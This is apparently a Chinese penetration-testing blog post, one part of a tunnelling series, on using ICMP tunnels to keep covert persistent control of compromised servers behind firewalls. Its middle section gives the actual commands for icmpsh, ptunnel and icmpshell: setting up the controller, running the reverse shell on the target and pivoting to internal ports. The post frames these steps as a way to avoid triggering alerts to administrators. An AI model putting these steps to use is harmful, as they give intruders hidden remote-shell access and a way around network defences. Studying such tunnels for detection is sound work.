6、ICMP隧道
寫在前面
資訊保安裡面攻擊與防禦一直都是像是光與影子的關係,防禦得手段多種多樣,攻擊得方法也是花樣百出。在一些高難度得滲透測試過程中往往會遇到比較完善得安全防護策略、安全防護硬體、安全防護軟體,一個小小得惡意動作或者一段惡意程式碼得執行都可能會引起安全裝置向管理員發起警告,如果滲透方已經到達內網尋找資料階段被防守方發現了那不就是前功盡棄或者得不償失呢,滲透方如果能夠通過技術手段隱藏自己得攻擊過程或者痕跡,那麼會不會獲得一個持久得許可權控制呢,今天我們就來講一講如何根據不同得場景選用不同得木馬協議來達到更好得持久控制權。
應用場景
通常我們會遇到三大類別得網路環境場景:
1.伺服器處於內網,可以訪問外部網路。
2.伺服器處於外網,可以訪問外部網路,但是伺服器安裝了防火牆來拒絕敏感埠的連線。
3.伺服器處於內網,對外只開放了80埠,並且伺服器不能訪問外網網路。
第一類:我們在挑選木馬得時候由於沒有網路安全裝置和複雜得網路環境所以不用考慮太多,我們在獲得了WEB伺服器許可權過後就可以直接反彈一個任意協議得木馬,例如SSH隧道、ICMP隧道、HTTP代理、DNS隧道、TCP隧道、SOCKS5都可以。
第二類:因為有防火牆得緣故我們就要變得困難一點了,但是我們也可以嘗試通過避開敏感得埠或者協議來繞過防火牆例如我們可以嘗試使用HTTPS隧道、DNS隧道、ICMP隧道
第三類:是最麻煩得一個網路環境,因為代理伺服器或者防火牆只開放了80埠服務,而且內部得伺服器也不能訪問外網,這就意味著就算你獲得了伺服器得許可權你也必須通過80埠得服務來實現對木馬得互動。之前在論壇見過有人上傳指令碼到伺服器把伺服器網頁服務暫時關閉來達到解決80埠占用問題,這樣得辦法以我來看是不可行得,我們最好可以通過reGeorg、Socks、Proxy這類得代理工具來將流量代理到內網進行滲透。
今天下面我來說一說第二種型別網路環境裡面使用到得ICMP隧道簡單實用,一來是因為其他得通訊方式本公眾號之前都說過一些,二來是因為這個協議比較特殊。常見得通訊協議裡面兩臺裝置之間通訊肯定是需要開放埠的,而ICMP就不需要,在一些少見得環境裡面大家可能就利用這個特性就能事半功倍哦。
我們可能要用到得工具:
1.Icmpsh 下載地址:https://github.com/inquisb/
2.ptunnel 下載地址:http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
3.icmpshell 下載地址:http://sourceforge.net/projects/icmpshell/
實際操作
Icmpsh使用方法
控制端
git clonehttps://github.com/inquisb/icmpsh.git
apt-get install python-impacket
sysctl -w net.ipv4.icmp_echo_ignore_all=1
./run.sh
再輸入靶機的出口IP就行了 如果在同內網填寫內網IP即可
靶機上
icmpsh.exe -t
控制端
IP-d 500 -b 30 -s 128
Ptunnel使用方法因為需要機器多就不實際操作了:
1.在邊界機器A上編譯並部署Ptunnel
yum install libpcap libpcap-devel flexbison -y
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar xf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install
ptunnel -p 內網跳板機IP -lp 1080 -da 目標機器IP -dp 要訪問得目標機器埠
2.內網跳板機編譯並部署Ptunnel
通過下載或者上傳過去Ptunnel得安裝包進行安裝然然後執行Ptunnel即可
我們現在在本機訪問邊界機器A得1080埠就相當於訪問內網目標機器得指定埠了,我這麼說你理解起來還是不夠清晰那麼下面看圖來理解一下。
首先展示我們遇到得問題:
那麼這種情況下我們就可以使用Ptunnel很好得解決了:
Icmpshell使用方法:
下載並編譯icmpshell後會得到兩個檔案一個是 ishd 一個是ish,在客戶端和服務端執行相應得命令就行了
客戶端執行./ishd -i 443 -t 0 -p 1024
控制端執行./ish -i 443 -t 0 -p 1024 192.xxx.xxx.131
本次的分享就是這麼多啦,大家有不懂的地方可以評論互動呦!
相關文章
- 13、利用 ICMP 隧道穿透防火牆穿透防火牆
- 內網-隱藏隧道通訊技術,場景復現(ICMP隧道)內網
- ICMP隱蔽隧道攻擊分析與檢測(二)
- ICMP隱蔽隧道攻擊分析與檢測(三)
- ICMP隱蔽隧道攻擊分析與檢測(四)
- IPv6改造方案:隧道技術
- ECS實戰之IPv6隧道配置
- Windows ICMP DNS隧道是一種利用ICMP和DNS協議進行網路隧道傳輸的技術。它透過將資料包封裝在ICMP或DNS報文中,繞過防火牆和其他安全裝置,實現在受限網路之間傳輸資料的方法。WindowsDNS協議封裝防火牆
- ICMP協議協議
- IPv6過渡技術之隧道技術
- 組播和ICMP
- icmp和arp協議協議
- Centos 6、7 作業系統中,如何開啟或關閉ICMP協議CentOS作業系統協議
- ICMP路由重定向攻擊路由
- ICMP與IGMP的區別
- 隧道雲 cpolar
- 4、DNS隧道DNS
- 3、SSL隧道
- 5、SSH隧道
- 7、IP隧道
- 8、ISATAP隧道
- 什麼是隧道代理 為什麼選隧道代理
- ICMP Internet控制資訊協議協議
- 隧道代理ip使用
- Dnscat2隧道DNS
- 透過IPv6隧道實現天翼云云主機IPv4和IPv6雙棧接入
- IP隧道是什麼?
- IPSEC隧道抓包分析
- 2、HTTP隧道技術HTTP
- DNS隧道技術解析DNS
- Windows7/10實現ICMP(ping命令)Windows
- SSH反向隧道的工作原理
- SSH 隧道遠端連線
- OpenvSwitch系列之八 vxlan隧道
- ssh埠轉發(ssh隧道)
- 1、網路隧道技術
- 計算機網路之四:ICMP協議計算機網路協議
- 淺談TCP、UDP、ICMP三種常見協議TCPUDP協議